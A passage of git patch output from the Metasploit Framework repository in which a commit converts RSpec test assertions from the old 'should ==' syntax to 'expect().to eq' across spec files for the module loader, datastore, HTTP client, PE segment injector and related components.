eq '/' end end end diff --git a/spec/lib/msf/core/modules/loader/base_spec.rb b/spec/lib/msf/core/modules/loader/base_spec.rb index 7eaf935d69..e8833dfa6d 100644 --- a/spec/lib/msf/core/modules/loader/base_spec.rb +++ b/spec/lib/msf/core/modules/loader/base_spec.rb @@ -853,7 +853,7 @@ RSpec.describe Msf::Modules::Loader::Base do non_module_extension = '.c' path = "path/with/wrong/extension#{non_module_extension}" - non_module_extension.should_not == described_class::MODULE_EXTENSION + expect(non_module_extension).not_to eq described_class::MODULE_EXTENSION subject.send(:module_path?, path).should be_falsey end @@ -968,7 +968,7 @@ RSpec.describe Msf::Modules::Loader::Base do it 'should create a new namespace module for the block' do subject.send(:namespace_module_transaction, module_full_name) do |namespace_module| - namespace_module.should_not == @existent_namespace_module + expect(namespace_module).not_to eq @existent_namespace_module expect { namespace_module::Metasploit3 @@ -995,7 +995,7 @@ RSpec.describe Msf::Modules::Loader::Base do current_constant = Msf::Modules.const_get(relative_name) current_constant.should == namespace_module - current_constant.should_not == @existent_namespace_module + expect(current_constant).not_to eq @existent_namespace_module raise error_class, error_message end @@ -1022,7 +1022,7 @@ RSpec.describe Msf::Modules::Loader::Base do current_constant = Msf::Modules.const_get(relative_name) current_constant.should == namespace_module - current_constant.should_not == @existent_namespace_module + expect(current_constant).not_to eq @existent_namespace_module false end @@ -1048,7 +1048,7 @@ RSpec.describe Msf::Modules::Loader::Base do current_constant = Msf::Modules.const_get(relative_name) current_constant.should_not be_nil - current_constant.should_not == @existent_namespace_module + expect(current_constant).not_to eq @existent_namespace_module end it 'should return true' do @@ -1292,7 +1292,7 @@ RSpec.describe Msf::Modules::Loader::Base do end it 'should restore the module to the constant' do - parent_module.const_get(relative_name).should_not == @original_namespace_module + expect(parent_module.const_get(relative_name)).not_to eq @original_namespace_module subject.send(:restore_namespace_module, parent_module, relative_name, @original_namespace_module) diff --git a/spec/lib/rex/sslscan/result_spec.rb b/spec/lib/rex/sslscan/result_spec.rb index fbfb4e006e..f1ce3f7142 100644 --- a/spec/lib/rex/sslscan/result_spec.rb +++ b/spec/lib/rex/sslscan/result_spec.rb @@ -302,7 +302,7 @@ RSpec.describe Rex::SSLScan::Result do it "should return only the ciphers for the specified version" do subject.each_accepted([:SSLv3,:TLSv1]) do |cipher_details| - cipher_details[:version].should_not == :SSLv2 + expect(cipher_details[:version]).not_to eq :SSLv2 end end end @@ -358,7 +358,7 @@ RSpec.describe Rex::SSLScan::Result do it "should return only the ciphers for the specified version" do subject.each_rejected([:SSLv3,:TLSv1]) do |cipher_details| - cipher_details[:version].should_not == :SSLv2 + expect(cipher_details[:version]).not_to eq :SSLv2 end end end diff --git a/spec/support/shared/examples/msf/db_manager/session.rb b/spec/support/shared/examples/msf/db_manager/session.rb index d2192db96f..ebaef13d92 100644 --- a/spec/support/shared/examples/msf/db_manager/session.rb +++ b/spec/support/shared/examples/msf/db_manager/session.rb @@ -471,7 +471,7 @@ shared_examples_for 'Msf::DBManager::Session' do end it "should not have session.via_exploit of 'exploit/multi/handler'" do - session.via_exploit.should_not == 'exploit/multi/handler' + expect(session.via_exploit).not_to eq 'exploit/multi/handler' end it { expect(subject.via_exploit).to eq(session.via_exploit) } @@ -814,7 +814,7 @@ shared_examples_for 'Msf::DBManager::Session' do end it "should not have session.via_exploit of 'exploit/multi/handler'" do - session.via_exploit.should_not == 'exploit/multi/handler' + expect(session.via_exploit).not_to eq 'exploit/multi/handler' end it { expect(subject.via_exploit).to eq(session.via_exploit) } diff --git a/spec/support/shared/examples/msf/module_manager/loading.rb b/spec/support/shared/examples/msf/module_manager/loading.rb index 7c492100ed..4fc1486318 100644 --- a/spec/support/shared/examples/msf/module_manager/loading.rb +++ b/spec/support/shared/examples/msf/module_manager/loading.rb @@ -55,7 +55,7 @@ shared_examples_for 'Msf::ModuleManager::Loading' do :modification_time => cached_modification_time } - cached_modification_time.should_not == modification_time + expect(cached_modification_time).not_to eq modification_time subject.file_changed?(module_path).should be_truthy end end From 6f29e9a4cf730641e9efd8d692302f826fcd585f Mon Sep 17 00:00:00 2001 From: Luke Imhoff <luke_imhoff@rapid7.com> Date: Tue, 20 Oct 2015 11:30:38 -0500 Subject: [PATCH 1492/2172] .should == -> expect().to eq MSP-13484 --- .../abstract_adapter/connection_pool_spec.rb | 8 +- .../framework/jtr/invalid_wordlist_spec.rb | 2 +- .../framework/login_scanner/invalid_spec.rb | 2 +- spec/lib/msf/core/data_store_spec.rb | 26 ++-- .../lib/msf/core/exe/segment_appender_spec.rb | 20 +-- .../lib/msf/core/exe/segment_injector_spec.rb | 20 +-- spec/lib/msf/core/exploit/capture_spec.rb | 12 +- spec/lib/msf/core/exploit/http/client_spec.rb | 42 +++--- spec/lib/msf/core/framework_spec.rb | 18 +-- spec/lib/msf/core/modules/error_spec.rb | 18 +-- spec/lib/msf/core/modules/loader/base_spec.rb | 76 +++++------ .../msf/core/modules/loader/directory_spec.rb | 6 +- spec/lib/msf/core/modules/namespace_spec.rb | 2 +- .../version_compatibility_error_spec.rb | 4 +- spec/lib/msf/core/opt_address_range_spec.rb | 6 +- spec/lib/msf/core/opt_enum_spec.rb | 4 +- spec/lib/msf/core/option_container_spec.rb | 2 +- spec/lib/msf/core/post/windows/priv_spec.rb | 4 +- spec/lib/msf/db_manager/export_spec.rb | 4 +- spec/lib/rex/parser/nmap_xml_spec.rb | 6 +- .../post/meterpreter/packet_parser_spec.rb | 10 +- spec/lib/rex/post/meterpreter/packet_spec.rb | 126 +++++++++--------- .../lib/rex/proto/http/client_request_spec.rb | 10 +- spec/lib/rex/proto/http/client_spec.rb | 18 +-- spec/lib/rex/proto/http/packet_spec.rb | 16 +-- spec/lib/rex/proto/ntp/modes_spec.rb | 12 +- .../rex/random_identifier_generator_spec.rb | 16 +-- spec/lib/rex/socket/range_walker_spec.rb | 44 +++--- spec/lib/rex/socket_spec.rb | 26 ++-- spec/lib/rex/sslscan/result_spec.rb | 94 ++++++------- spec/lib/rex/sslscan/scanner_spec.rb | 20 +-- spec/msfupdate_spec.rb | 18 +-- spec/support/shared/examples/an_option.rb | 8 +- .../examples/hash_with_insensitive_access.rb | 20 +-- ..._module_detail_info_module_detail_child.rb | 2 +- .../import/metasploit_framework/xml.rb | 54 ++++---- .../check_msf_xml_version_with_root_tag.rb | 2 +- .../examples/msf/db_manager/migration.rb | 6 +- .../examples/msf/db_manager/module_cache.rb | 10 +- .../mdm_module_ref_name_keyword.rb | 2 +- .../shared/examples/msf/db_manager/session.rb | 8 +- .../update_all_module_details_refresh.rb | 4 +- .../update_module_details_with_module_type.rb | 2 +- .../examples/msf/module_manager/cache.rb | 10 +- .../examples/msf/module_manager/loading.rb | 2 +- .../msf/modules/error_subclass_initialize.rb | 4 +- spec/support/shared/examples/typed_path.rb | 2 +- 47 files changed, 414 insertions(+), 414 deletions(-) diff --git a/spec/lib/active_record/connection_adapters/abstract_adapter/connection_pool_spec.rb b/spec/lib/active_record/connection_adapters/abstract_adapter/connection_pool_spec.rb index c1466fe210..5ff89034ed 100644 --- a/spec/lib/active_record/connection_adapters/abstract_adapter/connection_pool_spec.rb +++ b/spec/lib/active_record/connection_adapters/abstract_adapter/connection_pool_spec.rb @@ -166,18 +166,18 @@ RSpec.describe ActiveRecord::ConnectionAdapters::ConnectionPool do child_count = reserved_connection_count count_change = child_count - before_count - count_change.should == 1 + expect(count_change).to eq 1 connection_pool.with_connection do grandchild_count = reserved_connection_count - grandchild_count.should == child_count + expect(grandchild_count).to eq child_count end end after_count = reserved_connection_count - after_count.should == before_count + expect(after_count).to eq before_count end end @@ -197,7 +197,7 @@ RSpec.describe ActiveRecord::ConnectionAdapters::ConnectionPool do connection_pool.with_connection do inside = reserved_connection_count - inside.should == outside + expect(inside).to eq outside end end end diff --git a/spec/lib/metasploit/framework/jtr/invalid_wordlist_spec.rb b/spec/lib/metasploit/framework/jtr/invalid_wordlist_spec.rb index 93a83cac80..7c272c223a 100644 --- a/spec/lib/metasploit/framework/jtr/invalid_wordlist_spec.rb +++ b/spec/lib/metasploit/framework/jtr/invalid_wordlist_spec.rb @@ -31,7 +31,7 @@ RSpec.describe Metasploit::Framework::JtR::InvalidWordlist do end it 'should be the passed in model' do - error_model.should == model + expect(error_model).to eq model end end diff --git a/spec/lib/metasploit/framework/login_scanner/invalid_spec.rb b/spec/lib/metasploit/framework/login_scanner/invalid_spec.rb index 2f2304a731..663a598c3d 100644 --- a/spec/lib/metasploit/framework/login_scanner/invalid_spec.rb +++ b/spec/lib/metasploit/framework/login_scanner/invalid_spec.rb @@ -31,7 +31,7 @@ RSpec.describe Metasploit::Framework::LoginScanner::Invalid do end it 'should be the passed in model' do - error_model.should == model + expect(error_model).to eq model end end diff --git a/spec/lib/msf/core/data_store_spec.rb b/spec/lib/msf/core/data_store_spec.rb index e21c729841..da0d744d25 100644 --- a/spec/lib/msf/core/data_store_spec.rb +++ b/spec/lib/msf/core/data_store_spec.rb @@ -5,29 +5,29 @@ require 'msf/core/data_store' RSpec.shared_examples "datastore" do it "should have options" do - subject["foo"].should == "bar" - subject["fizz"].should == "buzz" + expect(subject["foo"]).to eq "bar" + expect(subject["fizz"]).to eq "buzz" end it "should have case-insensitive keys" do # Sorted by gray code, just for fun - subject["foo"].should == "bar" - subject["Foo"].should == "bar" - subject["FOo"].should == "bar" - subject["fOo"].should == "bar" - subject["fOO"].should == "bar" - subject["FOO"].should == "bar" - subject["FoO"].should == "bar" - subject["foO"].should == "bar" + expect(subject["foo"]).to eq "bar" + expect(subject["Foo"]).to eq "bar" + expect(subject["FOo"]).to eq "bar" + expect(subject["fOo"]).to eq "bar" + expect(subject["fOO"]).to eq "bar" + expect(subject["FOO"]).to eq "bar" + expect(subject["FoO"]).to eq "bar" + expect(subject["foO"]).to eq "bar" end context "#to_h" do it "should return a Hash with correct values" do - subject.to_h.should == { "foo" => "bar", "fizz" => "buzz" } + expect(subject.to_h).to eq({ "foo" => "bar", "fizz" => "buzz" }) end end context "#delete" do it "should delete the specified case-insensitive key" do - subject.delete("foo").should == "bar" - subject.delete("Fizz").should == "buzz" + expect(subject.delete("foo")).to eq "bar" + expect(subject.delete("Fizz")).to eq "buzz" end end end diff --git a/spec/lib/msf/core/exe/segment_appender_spec.rb b/spec/lib/msf/core/exe/segment_appender_spec.rb index 7fd5dadbec..02f95ab62e 100644 --- a/spec/lib/msf/core/exe/segment_appender_spec.rb +++ b/spec/lib/msf/core/exe/segment_appender_spec.rb @@ -19,14 +19,14 @@ RSpec.describe Msf::Exe::SegmentAppender do it { should respond_to :buffer_register } it 'should return the correct processor for the arch' do - injector.processor.class.should == Metasm::Ia32 + expect(injector.processor.class).to eq Metasm::Ia32 injector.arch = :x64 - injector.processor.class.should == Metasm::X86_64 + expect(injector.processor.class).to eq Metasm::X86_64 end context '#create_thread_stub' do it 'should use edx as a default buffer register' do - injector.buffer_register.should == 'edx' + expect(injector.buffer_register).to eq 'edx' end context 'when given a non-default buffer register' do @@ -39,14 +39,14 @@ RSpec.describe Msf::Exe::SegmentAppender do } end it 'should use the correct buffer register' do - injector.buffer_register.should == 'eax' + expect(injector.buffer_register).to eq 'eax' end end end describe '#generate_pe' do it 'should return a string' do - injector.generate_pe.kind_of?(String).should == true + expect(injector.generate_pe.kind_of?(String)).to eq true end it 'should produce a valid PE exe' do @@ -56,25 +56,25 @@ RSpec.describe Msf::Exe::SegmentAppender do context 'the generated exe' do let(:exe) { Metasm::PE.decode(injector.generate_pe) } it 'should be the propper arch' do - exe.bitsize.should == 32 + expect(exe.bitsize).to eq 32 end it 'should have 5 sections' do - exe.sections.count.should == 5 + expect(exe.sections.count).to eq 5 end it 'should have all the right original section names' do s_names = [] exe.sections.collect {|s| s_names << s.name} - s_names[0,4].should == [".text", ".rdata", ".data", ".rsrc"] + expect(s_names[0,4]).to eq [".text", ".rdata", ".data", ".rsrc"] end it 'should have the last section set to RWX' do - exe.sections.last.characteristics.should == ["CONTAINS_CODE", "MEM_EXECUTE", "MEM_READ", "MEM_WRITE"] + expect(exe.sections.last.characteristics).to eq ["CONTAINS_CODE", "MEM_EXECUTE", "MEM_READ", "MEM_WRITE"] end it 'should have an entrypoint that points to the last section' do - exe.optheader.entrypoint.should == exe.sections.last.virtaddr + expect(exe.optheader.entrypoint).to eq exe.sections.last.virtaddr end end end diff --git a/spec/lib/msf/core/exe/segment_injector_spec.rb b/spec/lib/msf/core/exe/segment_injector_spec.rb index fdb98111e1..50d431c3c8 100644 --- a/spec/lib/msf/core/exe/segment_injector_spec.rb +++ b/spec/lib/msf/core/exe/segment_injector_spec.rb @@ -19,14 +19,14 @@ RSpec.describe Msf::Exe::SegmentInjector do it { should respond_to :buffer_register } it 'should return the correct processor for the arch' do - injector.processor.class.should == Metasm::Ia32 + expect(injector.processor.class).to eq Metasm::Ia32 injector.arch = :x64 - injector.processor.class.should == Metasm::X86_64 + expect(injector.processor.class).to eq Metasm::X86_64 end context '#create_thread_stub' do it 'should use edx as a default buffer register' do - injector.buffer_register.should == 'edx' + expect(injector.buffer_register).to eq 'edx' end context 'when given a non-default buffer register' do @@ -39,7 +39,7 @@ RSpec.describe Msf::Exe::SegmentInjector do } end it 'should use the correct buffer register' do - injector.buffer_register.should == 'eax' + expect(injector.buffer_register).to eq 'eax' end end @@ -50,7 +50,7 @@ RSpec.describe Msf::Exe::SegmentInjector do describe '#generate_pe' do it 'should return a string' do - injector.generate_pe.kind_of?(String).should == true + expect(injector.generate_pe.kind_of?(String)).to eq true end it 'should produce a valid PE exe' do @@ -60,25 +60,25 @@ RSpec.describe Msf::Exe::SegmentInjector do context 'the generated exe' do let(:exe) { Metasm::PE.decode(injector.generate_pe) } it 'should be the propper arch' do - exe.bitsize.should == 32 + expect(exe.bitsize).to eq 32 end it 'should have 5 sections' do - exe.sections.count.should == 5 + expect(exe.sections.count).to eq 5 end it 'should have all the right section names' do s_names = [] exe.sections.collect {|s| s_names << s.name} - s_names.should == [".text", ".rdata", ".data", ".rsrc", ".text"] + expect(s_names).to eq [".text", ".rdata", ".data", ".rsrc", ".text"] end it 'should have the last section set to RWX' do - exe.sections.last.characteristics.should == ["CONTAINS_CODE", "MEM_EXECUTE", "MEM_READ", "MEM_WRITE"] + expect(exe.sections.last.characteristics).to eq ["CONTAINS_CODE", "MEM_EXECUTE", "MEM_READ", "MEM_WRITE"] end it 'should have an entrypoint that points to the last section' do - exe.optheader.entrypoint.should == exe.sections.last.virtaddr + expect(exe.optheader.entrypoint).to eq exe.sections.last.virtaddr end end end diff --git a/spec/lib/msf/core/exploit/capture_spec.rb b/spec/lib/msf/core/exploit/capture_spec.rb index e2be757b85..899bbf3d4c 100644 --- a/spec/lib/msf/core/exploit/capture_spec.rb +++ b/spec/lib/msf/core/exploit/capture_spec.rb @@ -27,8 +27,8 @@ RSpec.describe Msf::Exploit::Capture do it 'should return the correct number of bytes if the destination MAC can be determined, regardless of broadcast' do allow(subject).to receive(:lookup_eth).and_return(%w(de:ad:be:ef:ca:fe 01:02:03:04:05:06)) allow(subject).to receive(:inject_eth).and_return(payload.size) - subject.capture_sendto(payload, '127.0.0.1', false).should == payload.size - subject.capture_sendto(payload, '127.0.0.1', true).should == payload.size + expect(subject.capture_sendto(payload, '127.0.0.1', false)).to eq payload.size + expect(subject.capture_sendto(payload, '127.0.0.1', true)).to eq payload.size end it 'should return false if the destination MAC cannot be determined and broadcast is not desired' do @@ -40,7 +40,7 @@ RSpec.describe Msf::Exploit::Capture do it 'should return the correct number of bytes if the destination MAC cannot be determined and broadcast is desired' do allow(subject).to receive(:lookup_eth).and_return(nil) allow(subject).to receive(:inject_eth).and_return(payload.size) - subject.capture_sendto(payload, '127.0.0.1', true).should == payload.size + expect(subject.capture_sendto(payload, '127.0.0.1', true)).to eq payload.size end end @@ -48,15 +48,15 @@ RSpec.describe Msf::Exploit::Capture do context '#stats_*' do it 'should show received packets' do - subject.stats_recv.should == 0 + expect(subject.stats_recv).to eq 0 end it 'should show dropped packets' do - subject.stats_drop.should == 0 + expect(subject.stats_drop).to eq 0 end it 'should show interface-dropped packets' do - subject.stats_ifdrop.should == 0 + expect(subject.stats_ifdrop).to eq 0 end end diff --git a/spec/lib/msf/core/exploit/http/client_spec.rb b/spec/lib/msf/core/exploit/http/client_spec.rb index 6aa474a50b..1701e33110 100644 --- a/spec/lib/msf/core/exploit/http/client_spec.rb +++ b/spec/lib/msf/core/exploit/http/client_spec.rb @@ -28,7 +28,7 @@ RSpec.describe Msf::Exploit::Remote::HttpClient do subject end it "should return the set vhost" do - cli_vhost.vhost.should == vhost + expect(cli_vhost.vhost).to eq vhost end end @@ -39,7 +39,7 @@ RSpec.describe Msf::Exploit::Remote::HttpClient do end it "should return the rhost as the vhost" do cli_rhost.datastore['VHOST'].should be_nil - cli_rhost.vhost.should == rhost + expect(cli_rhost.vhost).to eq rhost end end @@ -60,11 +60,11 @@ RSpec.describe Msf::Exploit::Remote::HttpClient do end it "should be '/'" do - unnormalized_uri.should == '/' + expect(unnormalized_uri).to eq '/' end it "should return '/'" do - normalized_uri.should == '/' + expect(normalized_uri).to eq '/' end end @@ -74,11 +74,11 @@ RSpec.describe Msf::Exploit::Remote::HttpClient do end it "should start with '/'" do - unnormalized_uri[0, 1].should == '/' + expect(unnormalized_uri[0, 1]).to eq '/' end it "should not add another starting '/'" do - normalized_uri.should == expected_normalized_uri + expect(normalized_uri).to eq expected_normalized_uri end context "with multiple internal '/'" do @@ -87,7 +87,7 @@ RSpec.describe Msf::Exploit::Remote::HttpClient do end it "should remove doubled internal '/'" do - normalized_uri.should == expected_normalized_uri + expect(normalized_uri).to eq expected_normalized_uri end end @@ -97,11 +97,11 @@ RSpec.describe Msf::Exploit::Remote::HttpClient do end it "should have at least 2 starting '/'" do - unnormalized_uri[0, 2].should == '//' + expect(unnormalized_uri[0, 2]).to eq '//' end it "should return with one starting '/'" do - normalized_uri.should == expected_normalized_uri + expect(normalized_uri).to eq expected_normalized_uri end end @@ -115,7 +115,7 @@ RSpec.describe Msf::Exploit::Remote::HttpClient do end it "should end with '/'" do - normalized_uri[-1, 1].should == '/' + expect(normalized_uri[-1, 1]).to eq '/' end context "with multiple trailing '/'" do @@ -124,11 +124,11 @@ RSpec.describe Msf::Exploit::Remote::HttpClient do end it "should have multiple trailing '/'" do - unnormalized_uri[-2,2].should == '//' + expect(unnormalized_uri[-2,2]).to eq '//' end it "should return only one trailing '/'" do - normalized_uri.should == expected_normalized_uri + expect(normalized_uri).to eq expected_normalized_uri end end end @@ -143,7 +143,7 @@ RSpec.describe Msf::Exploit::Remote::HttpClient do end it "should return original string" do - normalized_uri.should == expected_normalized_uri + expect(normalized_uri).to eq expected_normalized_uri end end end @@ -158,19 +158,19 @@ RSpec.describe Msf::Exploit::Remote::HttpClient do end it "should have trailing '/'" do - unnormalized_uri[-1, 1].should == '/' + expect(unnormalized_uri[-1, 1]).to eq '/' end it "should add starting '/'" do - normalized_uri[0, 1].should == '/' + expect(normalized_uri[0, 1]).to eq '/' end it "should not remove trailing '/'" do - normalized_uri[-1, 1].should == '/' + expect(normalized_uri[-1, 1]).to eq '/' end it 'should normalize the uri' do - normalized_uri.should == "#{expected_normalized_uri}" + expect(normalized_uri).to eq "#{expected_normalized_uri}" end context "with multiple internal '/'" do @@ -179,7 +179,7 @@ RSpec.describe Msf::Exploit::Remote::HttpClient do end it "should remove doubled internal '/'" do - normalized_uri.should == expected_normalized_uri + expect(normalized_uri).to eq expected_normalized_uri end end end @@ -194,7 +194,7 @@ RSpec.describe Msf::Exploit::Remote::HttpClient do end it "should add starting '/'" do - normalized_uri[0, 1].should == '/' + expect(normalized_uri[0, 1]).to eq '/' end it "should add trailing '/'" do @@ -213,7 +213,7 @@ RSpec.describe Msf::Exploit::Remote::HttpClient do end it "should return '/'" do - normalized_uri.should == '/' + expect(normalized_uri).to eq '/' end end @@ -227,7 +227,7 @@ RSpec.describe Msf::Exploit::Remote::HttpClient do end it "should return '/" do - normalized_uri.should == '/' + expect(normalized_uri).to eq '/' end end end diff --git a/spec/lib/msf/core/framework_spec.rb b/spec/lib/msf/core/framework_spec.rb index 53e5c45015..0a3c9c94d4 100644 --- a/spec/lib/msf/core/framework_spec.rb +++ b/spec/lib/msf/core/framework_spec.rb @@ -22,24 +22,24 @@ RSpec.describe Msf::Framework do end it "should return the Version constant" do - described_class.const_get(:Version).should == framework.version + expect(described_class.const_get(:Version)).to eq framework.version end it "should return the concatenation of Major.Minor.Point-Release" do major,minor,point,release = framework.version.split(/[.-]/) - major.to_i.should == described_class::Major - minor.to_i.should == described_class::Minor - point.to_i.should == described_class::Point - "-#{release}".should == described_class::Release + expect(major.to_i).to eq described_class::Major + expect(minor.to_i).to eq described_class::Minor + expect(point.to_i).to eq described_class::Point + expect("-#{release}").to eq described_class::Release end skip "conform to SemVer 2.0 syntax: http://semver.org/" do it "should have constants that correspond to SemVer standards" do major,minor,patch,label = framework.version.split(/[.-]/) - major.to_i.should == described_class::VERSION::MAJOR - minor.to_i.should == described_class::VERSION::MINOR - point.to_i.should == described_class::VERSION::POINT - label.to_s.should == described_class::VERSION::LABEL + expect(major.to_i).to eq described_class::VERSION::MAJOR + expect(minor.to_i).to eq described_class::VERSION::MINOR + expect(point.to_i).to eq described_class::VERSION::POINT + expect(label.to_s).to eq described_class::VERSION::LABEL end end diff --git a/spec/lib/msf/core/modules/error_spec.rb b/spec/lib/msf/core/modules/error_spec.rb index b0103a23a3..61cfe2e25d 100644 --- a/spec/lib/msf/core/modules/error_spec.rb +++ b/spec/lib/msf/core/modules/error_spec.rb @@ -12,7 +12,7 @@ RSpec.describe Msf::Modules::Error do end it 'should include causal_message in error' do - subject.to_s.should == "Failed to load module due to #{causal_message}" + expect(subject.to_s).to eq "Failed to load module due to #{causal_message}" end end @@ -25,7 +25,7 @@ RSpec.describe Msf::Modules::Error do end it 'should include causal_message and module_path in error' do - subject.to_s.should == "Failed to load module (from #{module_path}) due to #{causal_message}" + expect(subject.to_s).to eq "Failed to load module (from #{module_path}) due to #{causal_message}" end end @@ -38,7 +38,7 @@ RSpec.describe Msf::Modules::Error do end it 'should include causal_message and module_reference_name in error' do - subject.to_s.should == "Failed to load module (#{module_reference_name}) due to #{causal_message}" + expect(subject.to_s).to eq "Failed to load module (#{module_reference_name}) due to #{causal_message}" end end @@ -52,7 +52,7 @@ RSpec.describe Msf::Modules::Error do end it 'should include causal_message, module_path, and module_reference_name in error' do - subject.to_s.should == "Failed to load module (#{module_reference_name} from #{module_path}) due to #{causal_message}" + expect(subject.to_s).to eq "Failed to load module (#{module_reference_name} from #{module_path}) due to #{causal_message}" end end @@ -62,11 +62,11 @@ RSpec.describe Msf::Modules::Error do end it 'should use :module_path for module_path' do - subject.module_path.should == module_path + expect(subject.module_path).to eq module_path end it 'should include module_path in error' do - subject.to_s.should == "Failed to load module (from #{module_path})" + expect(subject.to_s).to eq "Failed to load module (from #{module_path})" end end @@ -79,7 +79,7 @@ RSpec.describe Msf::Modules::Error do end it 'should include module_path and module_reference_name in error' do - subject.to_s.should == "Failed to load module (#{module_reference_name} from #{module_path})" + expect(subject.to_s).to eq "Failed to load module (#{module_reference_name} from #{module_path})" end end @@ -89,11 +89,11 @@ RSpec.describe Msf::Modules::Error do end it 'should use :module_reference_name for module_reference_name' do - subject.module_reference_name.should == module_reference_name + expect(subject.module_reference_name).to eq module_reference_name end it 'should include module_reference_name in error' do - subject.to_s.should == "Failed to load module (#{module_reference_name})" + expect(subject.to_s).to eq "Failed to load module (#{module_reference_name})" end end diff --git a/spec/lib/msf/core/modules/loader/base_spec.rb b/spec/lib/msf/core/modules/loader/base_spec.rb index e8833dfa6d..729bd37af5 100644 --- a/spec/lib/msf/core/modules/loader/base_spec.rb +++ b/spec/lib/msf/core/modules/loader/base_spec.rb @@ -56,27 +56,27 @@ RSpec.describe Msf::Modules::Loader::Base do end it 'should map Msf::MODULE_AUX to auxiliary' do - directory_by_type[Msf::MODULE_AUX].should == 'auxiliary' + expect(directory_by_type[Msf::MODULE_AUX]).to eq 'auxiliary' end it 'should map Msf::MODULE_ENCODER to encoders' do - directory_by_type[Msf::MODULE_ENCODER].should == 'encoders' + expect(directory_by_type[Msf::MODULE_ENCODER]).to eq 'encoders' end it 'should map Msf::MODULE_EXPLOIT to exploits' do - directory_by_type[Msf::MODULE_EXPLOIT].should == 'exploits' + expect(directory_by_type[Msf::MODULE_EXPLOIT]).to eq 'exploits' end it 'should map Msf::MODULE_NOP to nops' do - directory_by_type[Msf::MODULE_NOP].should == 'nops' + expect(directory_by_type[Msf::MODULE_NOP]).to eq 'nops' end it 'should map Msf::MODULE_PAYLOAD to payloads' do - directory_by_type[Msf::MODULE_PAYLOAD].should == 'payloads' + expect(directory_by_type[Msf::MODULE_PAYLOAD]).to eq 'payloads' end it 'should map Msf::MODULE_POST to post' do - directory_by_type[Msf::MODULE_POST].should == 'post' + expect(directory_by_type[Msf::MODULE_POST]).to eq 'post' end end @@ -94,7 +94,7 @@ RSpec.describe Msf::Modules::Loader::Base do constant_lines = described_class::NAMESPACE_MODULE_CONTENT.lines.to_a constant_line = constant_lines.first - file_line.should == constant_line + expect(file_line).to eq constant_line end end @@ -127,7 +127,7 @@ RSpec.describe Msf::Modules::Loader::Base do loader = double('Loader') namespace_module.loader = loader - namespace_module.loader.should == loader + expect(namespace_module.loader).to eq loader end end @@ -160,7 +160,7 @@ RSpec.describe Msf::Modules::Loader::Base do parent_path = double('Parent Path') namespace_module.parent_path = parent_path - namespace_module.parent_path.should == parent_path + expect(namespace_module.parent_path).to eq parent_path end end end @@ -168,14 +168,14 @@ RSpec.describe Msf::Modules::Loader::Base do context 'MODULE_EXTENSION' do it 'should only support ruby source modules' do - described_class::MODULE_EXTENSION.should == '.rb' + expect(described_class::MODULE_EXTENSION).to eq '.rb' end end context 'MODULE_SEPARATOR' do it 'should make valid module names' do name = ['Msf', 'Modules'].join(described_class::MODULE_SEPARATOR) - name.constantize.should == Msf::Modules + expect(name.constantize).to eq Msf::Modules end end @@ -208,7 +208,7 @@ RSpec.describe Msf::Modules::Loader::Base do it 'should have MODULE_EXTENSION for the extension name' do typed_path = described_class.typed_path(Msf::MODULE_AUX, module_reference_name) - File.extname(typed_path).should == described_class::MODULE_EXTENSION + expect(File.extname(typed_path)).to eq described_class::MODULE_EXTENSION end # Don't iterate over a Hash here as that would too closely mirror the actual implementation and not test anything @@ -233,7 +233,7 @@ RSpec.describe Msf::Modules::Loader::Base do context '#initialize' do it 'should set @module_manager' do loader = described_class.new(module_manager) - loader.instance_variable_get(:@module_manager).should == module_manager + expect(loader.instance_variable_get(:@module_manager)).to eq module_manager end end @@ -340,7 +340,7 @@ RSpec.describe Msf::Modules::Loader::Base do subject.stub(:read_module_content => module_content) subject.load_module(parent_path, type, module_reference_name).should be_truthy - namespace_module.parent_path.should == parent_path + expect(namespace_module.parent_path).to eq parent_path end it 'should call #read_module_content to get the module content so that #read_module_content can be overridden to change loading behavior' do @@ -572,7 +572,7 @@ RSpec.describe Msf::Modules::Loader::Base do it 'should restore the old namespace module' do subject.load_module(parent_path, type, module_reference_name).should be_falsey Msf::Modules.const_defined?(relative_name).should be_truthy - Msf::Modules.const_get(relative_name).should == @original_namespace_module + expect(Msf::Modules.const_get(relative_name)).to eq @original_namespace_module end end @@ -607,7 +607,7 @@ RSpec.describe Msf::Modules::Loader::Base do it 'should restore the old namespace module' do subject.load_module(parent_path, type, module_reference_name).should be_falsey Msf::Modules.const_defined?(relative_name).should be_truthy - Msf::Modules.const_get(relative_name).should == @original_namespace_module + expect(Msf::Modules.const_get(relative_name)).to eq @original_namespace_module end end @@ -626,7 +626,7 @@ RSpec.describe Msf::Modules::Loader::Base do original_load_error = "Back in my day this module didn't load" module_manager.module_load_error_by_path[module_path] = original_load_error - module_manager.module_load_error_by_path[module_path].should == original_load_error + expect(module_manager.module_load_error_by_path[module_path]).to eq original_load_error subject.load_module(parent_path, type, module_reference_name).should be_truthy module_manager.module_load_error_by_path[module_path].should be_nil end @@ -665,7 +665,7 @@ RSpec.describe Msf::Modules::Loader::Base do module_reference_name, :count_by_type => count_by_type ).should be_truthy - count_by_type[type].should == 1 + expect(count_by_type[type]).to eq 1 end it 'should increment the count if it does exist' do @@ -682,7 +682,7 @@ RSpec.describe Msf::Modules::Loader::Base do ).should be_truthy incremented_count = original_count + 1 - count_by_type[type].should == incremented_count + expect(count_by_type[type]).to eq incremented_count end end end @@ -822,7 +822,7 @@ RSpec.describe Msf::Modules::Loader::Base do end end - subject.send(:current_module, module_names).should == Msf::Modules::Mod0 + expect(subject.send(:current_module, module_names)).to eq Msf::Modules::Mod0 end end @@ -881,7 +881,7 @@ RSpec.describe Msf::Modules::Loader::Base do path_without_extension = "a#{described_class::MODULE_EXTENSION}.dir/a" path = "#{path_without_extension}#{described_class::MODULE_EXTENSION}" - subject.send(:module_reference_name_from_path, path).should == path_without_extension + expect(subject.send(:module_reference_name_from_path, path)).to eq path_without_extension end end @@ -901,7 +901,7 @@ RSpec.describe Msf::Modules::Loader::Base do namespace_module_name = subject.send(:namespace_module_name, module_full_name) unpacked_name = namespace_module_name.gsub(/^.*::Mod/, '') - [unpacked_name].pack('H*').should == module_full_name + expect([unpacked_name].pack('H*')).to eq module_full_name end end @@ -921,7 +921,7 @@ RSpec.describe Msf::Modules::Loader::Base do relative_name = namespace_module_names.last unpacked_name = relative_name.gsub(/^Mod/, '') - [unpacked_name].pack('H*').should == module_full_name + expect([unpacked_name].pack('H*')).to eq module_full_name end end @@ -988,13 +988,13 @@ RSpec.describe Msf::Modules::Loader::Base do end it 'should restore the previous namespace module' do - Msf::Modules.const_get(relative_name).should == @existent_namespace_module + expect(Msf::Modules.const_get(relative_name)).to eq 